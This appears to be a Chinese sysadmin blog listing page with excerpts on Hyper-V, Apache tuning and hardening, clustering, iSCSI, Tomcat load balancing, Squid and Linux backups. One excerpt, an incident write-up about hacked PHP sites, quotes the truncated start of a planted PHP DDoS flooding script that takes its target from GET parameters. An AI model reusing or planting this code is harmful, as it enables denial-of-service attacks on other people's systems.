VMware Workstation 9虚拟机中安装Hyper-V服务器 测试环境宿主机Windows2003 企业版一、为虚拟机中的系统启用虚拟化功能二、修改虚拟机配置文件三、安装Windows Server 2012并启用Hyper-V功能

PHP环境（IIS/apache）对外发包的解决方法 前段时间有一些用户的带宽经常跑满，防火墙查看是在向外发包，决定一查究竟。开始以为是系统中毒，但是查毒之后并没有什么异常。后来发现IIS/apache服务停掉之后，就恢复了。于是开始从web服务方面查找原因，最后确认是PHP网站代码被篡改，植入DDOS攻击代码。在网上搜索到了一段PHP-DDOS代码：<?php   set_time_limit(999999);   $host = $_GET['host'];   $port = $_GET['port'];   $exec_time = $_GET['time'];   $Sendlen = 65535;   $packets = 0;   ignore_user_abort(True);   if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){           if (StrLen($_GET['rat'])<>0){                   echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".G...

apache中开启Gzip和expires,优化页面访问速度 在Apache的配置文件中找到下面两行，将注释#去掉，重启。LoadModule deflate_module modules/mod_deflate.so LoadModule expires_module modules/mod_expires.so在你网站的目录下新建.htaccess，添加如下内容：<IfModule mod_expires.c> ExpiresActive On ExpiresByType image/gif A2592000 ExpiresByType image/jpeg A2592000 ExpiresByType image/png A2592000 ExpiresByType image/x-icon A2592000 ExpiresByType application/x-javascript A604800 ExpiresByType text/css A604800 </IfModule> <IfModule mod_deflate.c> SetOutputFilter DEFLATE AddOutputFilterByType DEFLATE text/html text/css  application/x-javascript </IfModule> 解释一下。ExpiresByType是通过MIME类型来设置具体文件的缓存时间，A表示访问，A后面的数字表示访问后的缓存时间。AddOutputFilterByType表示根据后面的MIME类型来压缩文件，这里对css，html，JavaScript等进行gzip压缩。更多选项请参考apache手册哦。关闭ETag。Etag的问题在于，它是根据可以辨别网站所在的服务器的具有唯一性的属性...

Apache 2.4 版本启用gzip压缩 在apache中启用Gzip压缩会大大降低数据传输量，减少网络响应事件，快速显示页面。系统概况，主机CentOS6.2 Apache2.4 php5.3.6 mysql5.5开始：第一：确认你的Apache 版本2.0以上有deflate 模块，也就是找到http.conf 配置文件查找是否有LoadModule deflate_module modules/mod_deflate.so一般是默认有的，记得要是前面有“#”就去掉使之生效。第二：要是没有这个模块就只能自行安装了，对照版本找到mod_deflate.c 然后进入到此路径下面执行/usr/local/apache2/bin/apxs -i -c -a mod_deflate.c 进行安装（注意这样的方法是针对你的用源码安装的apache 路径大概是/usr/local/apache2.x.x/bin/ ）。apxs 命令详细说明请您google下吧！这里就不多说了。第三：找的http.conf 配置文件，一般在两个地方1./etc/http/conf/http.conf 2./usr/local/apache2/conf/http.conf 实在不好找就 shell下执行#find / -name http.conf 切忌修改前一定要备份这是非常好的习惯。第四：编辑htpp.conf 文件 在最后加入下面代码，可以vim + http.conf 这样光标就自动到了http.conf最后一行，复制下面的代码<IfModule mod_deflate.c> DeflateCompressionLeve...

Linux下优化Apache保证web服务器安全 大多数的网站管理员都会考虑网站的安全性，除了在网站程序尽量减少漏洞，保证 Linux操作系统安全之外，我们还可以优化Apache来进一步保障web服务器的安全。1、禁用不必要的模块如果是源码编译安装apache，应该禁用以下的模块。如果你运行./configure --help，你将会看到所有可用的你可以禁用or开启的模块。userdir –用户特定用户的请求映射。例如：带用户名的URL会转化成服务器的一个目录。autoindex – 当没有默认首页（如index.html）时显示目录列表。status –显示服务器统计env – 清除或修改环境变量setenvif –根据客户端请求头字段设置环境变量cgi –CGI脚本filter –根据上下文实际情况对输出过滤器进行动态配置version –提供基于版本的配置段支持asis – 发送自己包含HTTP头内容的文件当你执行./configure按照下面禁用以上的模块。./configure --enable-ssl --enable-so --disable-userdir --disable-autoindex --disable-status --disable-env --disable-setenvif --disable-cgi --disable-actions --disable-negotiation --disable-alias --disable-include --disable-filter --disable-version --disable-asis如果激活...

RHEL6.1上安装配置RHCS(红帽集群套件) Red Hat 高可用性附加组件可让您连接到作为集群使用的一组计算机（称之为节点或者成员）。您可使用 Red Hat 高可用性附加组件适应您的集群需要（例如：为 GFS2 文件系统中的共享文件设置集群，或者设置服务故障切换）。1、红帽企业版 Linux 6.1 中新的和更改的功能红帽企业版 Linux 6.1 包括以下文档和功能更新及更改：（1）从红帽企业版 Linux 6.1 发行本开始，红帽高可用性附加组件提供 SNMP 陷阱支持。（2）从红帽企业版 Linux 6.1 发行本开始，红帽高可用性附加组件支持 ccs 集群配置命令。（3）已更新使用 Conga 配置和管理红帽高可用性附加组件软件的文档，包括更新的 Conga 页面和功能支持。（4）从红帽企业版 Linux 6.1 发行本开始，使用 ricci 需要在您第一次在任意节点中传播更新的集群配置文件时输入密码。（5）您现在可为服务指定 Restart-Disable 失败策略，表明该系统应该在其失败的地方尝试重启，但如果重启服务失败，则会禁用该服务而不是将其移动到该集群的另一台主机中。（6）您现在可以将独立子树配置为 non-critical，表示如果该资源失败，只禁用那个资源。2、RHCS(Red Hat Cluster Suite)工作原理：图中各组件...

Centos6.2安装和配置ISCSI服务和客户端 快速增长的存储容量使得企业需要采用网络存储解决方案。目前网络存储技术采用的连接技术主要有光纤通道和TCP／IP。基于IP的网络存储能解决基于光纤 通道的网络存储中存在的兼容性和传输距离问题，而且能提供相对廉价的解决方案。iSCSI协议是IP存储网络协议之一，它将广泛应用的两种工业标准 SCSI和TCP／IP结合起来，为存储设备提供面向数据块级的连接服务。iSCSI（互联网小型计算机系统接口）是一种在TCP/IP上进行数据块传输的标准。它是由Cisco和IBM两家发起的，并且得到了各大存储厂商的大力支持。iSCSI可以实现在IP网络上运行SCSI协议，使其能够在诸如高速千兆以太网上进行快速的数据存取备份操作。iSCSI存储分为服务器端（targets）和客户端（initiators），客户端发送SCSI命令到远程的存储设备端（服务器端），iSCSI使用的是TCP/IP协议，默认使用TCP的3260端口。客户端：-通过discovery程序来请求远程的块设备；-客户端必须安装了iscsi设备驱动器；-要安装iscsi-initiator-utils-*.rpm软件包；服务器端：-发布一个或多个块设备给initiator访问；-从RHEL5.3以后开始支持iSCSI；-需要安装scsi-target-utils-*.rpm软件包；对于每...

利用JK连接Apache与Tomcat，实现负载均衡 整合 Apache Http Server 和 Tomcat 可以提升对静态文件的处理性能、利用 Web 服务器来做负载均衡以及容错、无缝的升级应用程序。首先我们先介绍一下为什么要让 Apache 与 Tomcat 之间进行连接。事实上 Tomcat 本身已经提供了 HTTP 服务，该服务默认的端口是 8080，装好 tomcat 后通过 8080 端口可以直接使用 Tomcat 所运行的应用程序，你也可以将该端口改为 80。既然 Tomcat 本身已经可以提供这样的服务，我们为什么还要引入 Apache 或者其他的一些专门的 HTTP 服务器呢？原因有下面几个：1. 提升对静态文件的处理性能2. 利用 Web 服务器来做负载均衡以及容错3. 无缝的升级应用程序这三点对一个 web 网站来说是非常之重要的，我们希望我们的网站不仅是速度快，而且要稳定，不能因为某个 Tomcat 宕机或者是升级程序导致用户访问不了，而能完成这几个功能的、最好的HTTP服务器也就只有 apache 的 http server 了，它跟 tomcat 的结合是最紧密和可靠的。JK是最常用的Apache与Tomcat的连接方式，最新版本是JK-1.2.37 released，JK 是通过 AJP 协议与 Tomcat 服务器进行通讯的，Tomcat 默认的 AJP Connector 的端口是 8009。JK 本身...

配置squid 反向代理提高网站性能 本文旨在介绍 squid 反向代理的工作原理的基础上，指出反向代理技术在提高网站访问速度，增强网站可用性、安全性方面有很好的用途。现在有许多大型的门户网站都采用 squid 反向代理技术来加速网站的访问速度，可将不同的URL请求分发到后台不同的 WEB 服务器上，同时互联网用户只能看到反向代理服务器的地址，加强了网站的访问安全。本文在具体的实验环境下，利用 DNS 轮询和 Squid 反向代理技术，实现了网站的负载均衡，从而提高了网站的可用性和可靠性。1、什么是反向代理？反向代理服务器又称为 WEB 加速服务器，它位于 WEB 服务器的前端，充当 WEB 服务器的内容缓存器。反向代理服务器是针对 WEB 服务器设置的，后台 WEB 服务器对互联网用户是透明的，用户只能看到反向代理服务器的地址，不清楚后台 WEB 服务器是如何组织架构的。当互联网用户请求 WEB 服务时，DNS 将请求的域名解析为反向代理服务器的 IP 地址，这样 URL 请求将被发送到反向代理服务器，由反向代理服务器负责处理用户的请求与应答、与后台 WEB 服务器交互。利用反向代理服务器减轻了后台 WEB 服务器的负载，提高了访问速度，同时避免了因用户直接与 WEB 服务器通信带...

Linux系统备份与恢复 Linux不像windows,它不限制根用户存取任何东西，因此，你完全可以把一个分区上每一个的文件放入一个TAR文件中。使用root用户切换到根目录然后，使用下面的命令备份完整的系统：tar cvpzf backup.tgz / --exclude=/proc --exclude=/lost+found --exclude=/backup.tgz --exclude=/mnt --exclude=/sys说明：tar 部分就是我们将要使用的软件。'cvpfz'是我们给tar加的选项，像“创建一个压缩文档”（这是显然的），“保存权限”（以便使每一个相同的文件有相同的权限），以及“gzip”（缩减大小）。接下来，是压缩文档将获得的名称，在我们的例子中是backup.tgz。紧随其后的是我们想要备份的根目录。既然我们想备份所有东西：/。接着就是我们要剔除的目录了：我们不想备份每一样东西，因为包括有些目录不是非常有用。同时确保你没有把备份文件本身也加进去了，否则，你会得到怪异的结 果的。你也许同样不打算把/mnt文件夹包括进来——如果你在那儿挂载了其他分区——否则最终你会把那些也备份的。同时确保你没有任何东西挂载在 /media(即没有挂载任何cd或可移动介质）。否则，剔除/media。在进程的最后，你也许会得到一条信息，写着“tar：由于先前错误的...